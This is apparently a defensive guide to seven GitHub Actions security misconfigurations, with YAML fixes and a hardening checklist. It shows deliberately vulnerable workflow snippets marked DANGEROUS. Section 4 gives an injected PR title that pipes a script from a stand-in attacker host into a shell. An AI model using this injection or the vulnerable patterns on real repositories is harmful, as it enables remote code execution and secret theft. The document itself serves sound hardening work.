GitHub Actions Security: 7 Misconfigurations to Avoid

1. 1

   Overly Permissive GITHUB_TOKEN

   GitHub automatically creates a GITHUB_TOKEN for every workflow run. It has access to your repository: the question is how much access. Repositories created before February 2023 often default to write-all, which means a compromised workflow can push code, approve pull requests, and modify releases.

   yaml — .github/workflows/ci.ymlCopy

   # Add to every workflow file
   permissions:
     contents: read
   
   jobs:
     test:
       # This job only needs read access, no additional permissions needed
       runs-on: ubuntu-latest
       steps:
         - uses: actions/checkout@v4
   
     release:
       permissions:
         contents: write  # Elevated only for the job that actually needs to write
       runs-on: ubuntu-latest
       steps:
         - uses: actions/checkout@v4
         - run: gh release create ${{ github.ref_name }}

2. 2

   pull_request_target with Untrusted Code

   pull_request_target was introduced to let workflows access secrets when handling pull requests, including PRs from forks. The problem: it runs in the context of the base branch, with all its secrets, even when the PR comes from a completely untrusted fork.

   This is the pattern behind some of the highest-impact GitHub Actions vulnerabilities ever disclosed, allowing remote code execution on repositories belonging to major tech companies:

   yamlCopy

   # DANGEROUS: runs fork PR code with access to repository secrets
   on: pull_request_target
   
   jobs:
     test:
       runs-on: ubuntu-latest
       steps:
         - uses: actions/checkout@v3
           with:
             ref: ${{ github.event.pull_request.head.sha }}  # Checks out attacker code
         - run: npm test  # Runs attacker code with access to secrets

   Fix: use pull_request instead of pull_request_target for workflows that run code from a PR. pull_request does not have access to secrets for fork PRs, which is exactly the right default.

   yamlCopy

   # SAFE: fork PRs run without secret access
   on: pull_request
   
   jobs:
     test:
       runs-on: ubuntu-latest
       steps:
         - uses: actions/checkout@v4
         - run: npm test

3. 3

   Unpinned Third-Party Actions

   uses: actions/checkout@v4 and uses: third-party/some-action@main are mutable references. The tag v4 or the branch main can be moved to point at a different commit at any time. When a popular action gets compromised, attackers push malicious code to the repository and every workflow referencing that tag picks it up immediately, with no change to your own files.

   yamlCopy

   # Instead of:
   uses: actions/checkout@v4
   
   # Use:
   uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

   A full commit SHA is immutable: an attacker who compromises an action's repository can't move it. To find the SHA for a release, open the action's repository on GitHub, click the release tag, and copy the full commit hash.

4. 4

   Expression Injection (Script Injection)

   Expressions like ${{ github.event.pull_request.title }} evaluate to arbitrary, attacker-controlled strings when used directly inside a run: block.

   yamlCopy

   # DANGEROUS: PR title becomes a shell command
   - run: echo "Testing PR: ${{ github.event.pull_request.title }}"

   If a PR is opened with a title like ; curl https://evil.example/steal.sh | sh ;, the shell executes the injected command as part of your workflow. This is how script injection attacks work in GitHub Actions, and the title field is just one of many injection points.

   Fix: always assign untrusted input to an environment variable first, then reference the variable, never the raw expression, inside run:.

   yamlCopy

   # SAFE: environment variable is not interpreted as a shell command
   - name: Process PR title
     env:
       PR_TITLE: ${{ github.event.pull_request.title }}
     run: echo "Testing PR: $PR_TITLE"

5. 5

   Secrets in Logs and Artifacts

   GitHub masks secrets in workflow logs, but only for known, exact-match patterns. Encoded, transformed, or partially-reconstructed secrets bypass the masking entirely. A workflow that uploads debug artifacts, builds Docker images with secret build args, or dumps environment variables can leak secret values in ways GitHub's masking never catches.

   yamlCopy

   # AVOID: secret as a direct build argument (may persist in image layers)
   - run: docker build --build-arg API_KEY=${{ secrets.API_KEY }} .
   
   # AVOID: indirect exposure through env dumped into an artifact
   - run: env > debug.txt && tar czf debug.tar.gz debug.txt
   - uses: actions/upload-artifact@v4
     with:
       path: debug.tar.gz

   Where possible, use OIDC token-based authentication for cloud providers (AWS, Azure, GCP all support this). This eliminates long-lived secrets entirely: your workflow receives a short-lived token scoped to that single job, with nothing left over to leak.

   When a static secret is genuinely unavoidable, scope it to the specific step that needs it via env:, and never pass it through run: arguments, build args, or anything that ends up in an uploaded artifact.

6. 6

   Shared Caches Across Trust Boundaries

   The TanStack cache poisoning attack exploited a subtle vector: a fork PR workflow wrote a malicious entry into a shared GitHub Actions cache. Hours later, the legitimate release workflow, which had full publish access, restored that poisoned cache and executed the attacker's code as part of its own build.

   The fix is simple: never let an untrusted workflow write to a cache that a privileged workflow later reads. Scope cache keys so fork PRs and your main release pipeline can't collide:

   yamlCopy

   - uses: actions/cache@v4
     with:
       path: ~/.npm
       # Include github.ref so cross-branch / cross-PR cache sharing isn't possible
       key: ${{ runner.os }}-npm-${{ github.ref }}-${{ hashFiles('**/package-lock.json') }}

   Fork PR workflows run with different github.ref values than your main branch, so they can no longer write into a cache entry your release workflow will later trust.

7. 7

   Self-Hosted Runners Without Isolation

   GitHub-hosted runners are ephemeral: every job gets a fresh virtual machine that's destroyed afterward. Self-hosted runners are not, by default. Environment variables, temporary files, cached credentials on disk, and leftover process memory from one job can be readable by the next job on the same machine. For a public repository, where any GitHub user can open a pull request and trigger a workflow, that's a serious risk.

   For private repositories the immediate risk is lower since only authorized contributors can trigger workflows, but the principle still applies to production deployments. Add environment protection rules and require manual approval before any workflow with production credentials runs on a self-hosted runner.

5-Minute Hardening Checklist

• Set permissions: read-all (or contents: read) globally in every workflow file
• Replace pull_request_target with pull_request for any workflow that runs code from a PR
• Pin every third-party action to a full commit SHA, not a tag or branch
• Move all ${{ github.event.* }} references into env: variables before they reach a run: block
• Audit upload-artifact steps for anything that could expose environment variables or secrets
• Add github.ref (or similar) to every cache key to prevent cross-branch cache sharing
• Use OIDC instead of long-lived secrets for cloud provider authentication where supported
• Confirm Settings → Actions → General → Workflow permissions is set to read-only by default
• Enable branch protection requiring CI success and code owner review before merge
• Run zizmor (open-source GitHub Actions security scanner) against .github/workflows/

pip install zizmor && zizmor .github/workflows/

permissions:
  contents: read

uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

pip install zizmor && zizmor .github/workflows/